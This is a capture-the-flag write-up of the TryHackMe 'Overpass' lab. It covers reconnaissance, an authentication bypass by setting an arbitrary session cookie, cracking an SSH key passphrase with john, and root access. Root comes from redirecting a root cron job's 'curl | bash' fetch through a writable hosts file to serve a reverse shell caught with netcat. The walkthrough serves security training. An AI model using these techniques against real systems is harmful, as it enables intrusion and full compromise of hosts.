Overpass Write Up



Overpass is an easy room from TryHackMe with the description:

What happens when a group of broke Computer Science students try to make a password manager? Obviously a perfect commercial success!

The room is part of the Overpass series, over the next few weeks I plan to provide a write up for each series machine.


We have two tasks to complete, finding both the user and root flag. Typical CTF style room. Also a TryHackMe subscription code was hidden in the box, the first person to find and activate got a one month subscription for free. This has long been claimed however we will also find the code as part of the write up.


TryHackMe will assign a dynamic IP as part of the deployment, the IP I will be targeting is ‘’. I started by doing an nmap scan to check what ports are open.

└──╼ $sudo nmap -sC -sV -oA nmap/initial
[sudo] password for daz: 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-19 10:47 BST
Nmap scan report for
Host is up (0.039s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.76 seconds


Only 2 ports open SSH and HTTP. I will start with HTTP as SSH as a smaller attack surface however the SSH banner does indicate its a Ubuntu machine. Also interestingly the HTTP banner is showing Golang net. Go is a open source programming language by Google.

First I will take a look at the webpage.


Clicking around its a basic webpage for a secure password manager. On the ‘About Us’ page I found a list of usernames:

  • Ninja - Lead Developer
  • Pars - Shibe Enthusiast and Emotional Support Animal Manager
  • Szymex - Head Of Security
  • Bee - Chief Drinking Water Coordinator
  • MuirlandOracle - Cryptography Consultant

These may be helpful later.

Also a download page is available to download the software.


Ive downloaded a copy of the Linux binary, the source code and the build script. Before I look at them I ran a gobuster on the webpages to check for any other directories.

└──╼ $gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
Gobuster v3.0.1                                                                                                
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)                                                
[+] Url:                                                                          
[+] Threads:        50                                                                                         
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt                               
[+] Status codes:   200,204,301,302,307,401,403                                                                
[+] User Agent:     gobuster/3.0.1                                                                             
[+] Timeout:        10s                                                                                        
2020/09/19 10:54:56 Starting gobuster                                                                          
/img (Status: 301)                                                                                             
/downloads (Status: 301)
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)

/admin is new. This brings me to a simple login page.


I tried various combinations of basic logins, admin/admin, admin/password etc but nothing worked. So I had a look at the source code for the admin page.

<!DOCTYPE html>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/login.css">
    <link rel="icon" type="image/png" href="/img/overpass.png" />
    <script src="/main.js"></script>
    <script src="/login.js"></script>
    <script src="/cookie.js"></script>

<body onload="onLoad()">
        <img class="logo" src="/img/overpass.svg" alt="Overpass logo">
        <h2 class="navTitle"><a href="/">Overpass</a></h2>
        <a class="current" href="/aboutus">About Us</a>
        <a href="/downloads">Downloads</a>
    <div class="content">
        <h1>Administrator area</h1>
        <p>Please log in to access this content</p>
            <h3 class="formTitle">Overpass administrator login</h1>
        <form id="loginForm">
            <div class="formElem"><label for="username">Username:</label><input id="username" name="username" required></div>
            <div class="formElem"><label for="password">Password:</label><input id="password" name="password"
                    type="password" required></div>
        <div id="loginStatus"></div>


/login.js looks interesting.

async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    return response; // We don't always want JSON back
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
    } else {
        window.location = "/admin"

Looking at the login function it appears the script will send a post request to /api/login and wait for a response. If the response equals “Incorrect credentials” the text is displayed to the user and the password field is reset to blank. However if the response does not equal “Incorrect credentials” a cookie is set. I wonder if I can set the cooke to any value and it will allow me to log in?


First I clear the data and cookies from my browser. Then using a cookie editor I add the session token with a random value.


Now when I refresh the page I’m logged in and find James’s SSH key.


The key is encrypted so if I try and use it to log in it wont work unless I provide a password. I can use John to first get the hash and then crack to get the password. I coped the key to a text file called ‘key’, than ran ssh2john to get the hash. Then used john to crack it.

└──╼ $/usr/share/john/ssh2john.py key > hash
└──╼ $john --format=ssh hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII

Ive removed the password from the output but the password was cracked and I can now use that to log in. First I chmod 600 the key file so I can use it to log in.

└──╼ $chmod 600 key
└──╼ $ssh -i key james@
Enter passphrase for key 'key': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Sep 19 10:39:34 UTC 2020

  System load:  0.0                Processes:           88
  Usage of /:   22.4% of 18.57GB   Users logged in:     0
  Memory usage: 11%                IP address for eth0:
  Swap usage:   0%

47 packages can be updated.
0 updates are security updates.

Last login: Sat Jun 27 04:45:40 2020 from

Im in! I can now grab the user.txt flag.

james@overpass-prod:~$ ls
todo.txt  user.txt
james@overpass-prod:~$ cat user.txt

Priv Esc

Now to get root, when I grabbed the user.txt file I noticed a todo.txt file.

james@overpass-prod:~$ cat todo.txt 
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

I will also run linpeas to see if anything jumps out.

Scrolling through the output I find a cron job running every minute:

* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

I doubt overpass.thm is a legitmate url so I checked the local host file.

james@overpass-prod:~$ cat /etc/hosts localhost overpass-prod overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

So as root the cronjob is downloading the build script and piping it to bash. This looks to be our path to root if I can manipulate it.

james@overpass-prod:~$ ls -lah /etc/crontab
-rw-r--r-- 1 root root 822 Jun 27 04:18 /etc/crontab
james@overpass-prod:~$ ls -la /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 02:39 /etc/hosts

I don’t have permissions to change the cron job however I can change the hosts file and change the IP to point to my machine. I create the /downloads/src folders and a text file called buildscript.sh with the bash one liner found on pentestmonkey. I started a python webserver on port 80 and a netcat listener on port 8080 and waited for the cron job to run.

└──╼ $nc -nvlp 8080
listening on [any] 8080 ...
connect to [] from (UNKNOWN) [] 39612
bash: cannot set terminal process group (21767): Inappropriate ioctl for device
bash: no job control in this shell

I have root! Now to grab the flag.

root@overpass-prod:~# cat root.txt
cat root.txt

The hidden code

During our enumeration we were able to download a Linux binary and the source code of the password manager however they were not used to root on the machine. Lets take a look at them now.

└──╼ $cat buildscript.sh 
GOOS=linux /usr/local/go/bin/go build -o ~/builds/overpassLinux ~/src/overpass.go
GOOS=windows /usr/local/go/bin/go build -o ~/builds/overpassWindows.exe ~/src/overpass.go
GOOS=darwin /usr/local/go/bin/go build -o ~/builds/overpassMacOS ~/src/overpass.go
GOOS=freebsd /usr/local/go/bin/go build -o ~/builds/overpassFreeBSD ~/src/overpass.go
GOOS=openbsd /usr/local/go/bin/go build -o ~/builds/overpassOpenBSD ~/src/overpass.go
echo "$(date -R) Builds completed" >> /root/buildStatus

The build script.sh is a very simple bash script to build the binaries. So I next ran the Linux binary to see what the binary did.

└──╼ $chmod +x overpassLinux                       
└──╼ $./overpassLinux 
open /home/daz/.overpass: no such file or directory
Failed to open or read file
Continuing with new password file.
Welcome to Overpass
1       Retrieve Password For Service
2       Set or Update Password For Service
3       Delete Password For Service
4       Retrieve All Passwords
5       Exit
Choose an option:       4
└──╼ $./overpassLinux 
open /home/daz/.overpass: no such file or directory
Failed to open or read file
Continuing with new password file.
Welcome to Overpass
1       Retrieve Password For Service
2       Set or Update Password For Service
3       Delete Password For Service
4       Retrieve All Passwords
5       Exit
Choose an option:       2
Enter Service Name:     test
Enter new password:     testing123
└──╼ $./overpassLinux 
Welcome to Overpass
1       Retrieve Password For Service
2       Set or Update Password For Service
3       Delete Password For Service
4       Retrieve All Passwords
5       Exit
Choose an option:       4
test     testing123
└──╼ $

When you run the binary you get 5 options but also an interesting message “open /home/daz/.overpass: no such file or directory” First I ran option 4 to see if any default values were included, but nothing was returned. So I then selected option 2, to set a password. Now when I ran the binary the message had gone and selecting option 4 displayed the values I had set.

Next I decided to look at the source code to see what the program was doing. Not being that familiar with Go I scanned through to see what jumped out.

//Encrypt the credentials and write them to a file.                                 
func saveCredsToFile(filepath string, passlist []passListEntry) string {            
        file, err := os.OpenFile(filepath, os.O_TRUNC|os.O_CREATE|os.O_WRONLY, 0644)
        if err != nil {                                                             
                return err.Error()                                                  
        defer file.Close()                                                          
        stringToWrite := rot47(credsToJSON(passlist))                               
        if _, err := file.WriteString(stringToWrite); err != nil {                  
                return err.Error()                                                  
        return "Success"                                                            

I found the encrypt function, what jumped out was its using rot47 to encrypt the sting and is indeed saving it to a local file. When I ran linpeas I noticed a tryhackme account on the system, I wonder if that has a .overpass file in the home directory and if so can we decode it?

root@overpass-prod:~# cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root@overpass-prod:~# cd /home/tryhackme
cd /home/tryhackme
root@overpass-prod:/home/tryhackme# ls -lah
ls -lah
total 7.8M
drwx------ 6 tryhackme tryhackme 4.0K Jun 27 16:13 .
drwxr-xr-x 4 root      root      4.0K Jun 27 02:20 ..
-rw-rw-r-- 1 tryhackme tryhackme    0 Jun 27 04:00 .bash_history
-rw------- 1 tryhackme tryhackme  220 Apr  4  2018 .bash_logout
-rw------- 1 tryhackme tryhackme 3.7K Apr  4  2018 .bashrc
drwx------ 3 tryhackme tryhackme 4.0K Jun 27 02:35 .cache
drwx------ 3 tryhackme tryhackme 4.0K Jun 27 02:15 .gnupg
-rw------- 1 tryhackme tryhackme   56 Jun 27 04:35 .overpass
-rw------- 1 tryhackme tryhackme  807 Apr  4  2018 .profile
drwxrwx--- 4 tryhackme tryhackme 4.0K Jun 27 02:35 go
drwx------ 6 tryhackme tryhackme 4.0K Jun 27 03:57 resources
-rwxrwxr-x 1 tryhackme tryhackme 7.8M Jun 27 03:53 server
root@overpass-prod:/home/tryhackme# cat .overpass
cat .overpass
,LQ?2>6QiQ%CJw24<|6 $F3D4C:AE:@? r@56Q[QA2DDQiQ8>%sJ=QN.

Using a online decoder, I found this by googling rot47 and its top result. Entering the rot47 string I get a result.


As mentioned this code has been claimed but I wanted to show the steps on acquiring it.

[{“name”:”TryHackMe Subscription Code”,”pass”:”gmTDyl”}]

Thanks for reading!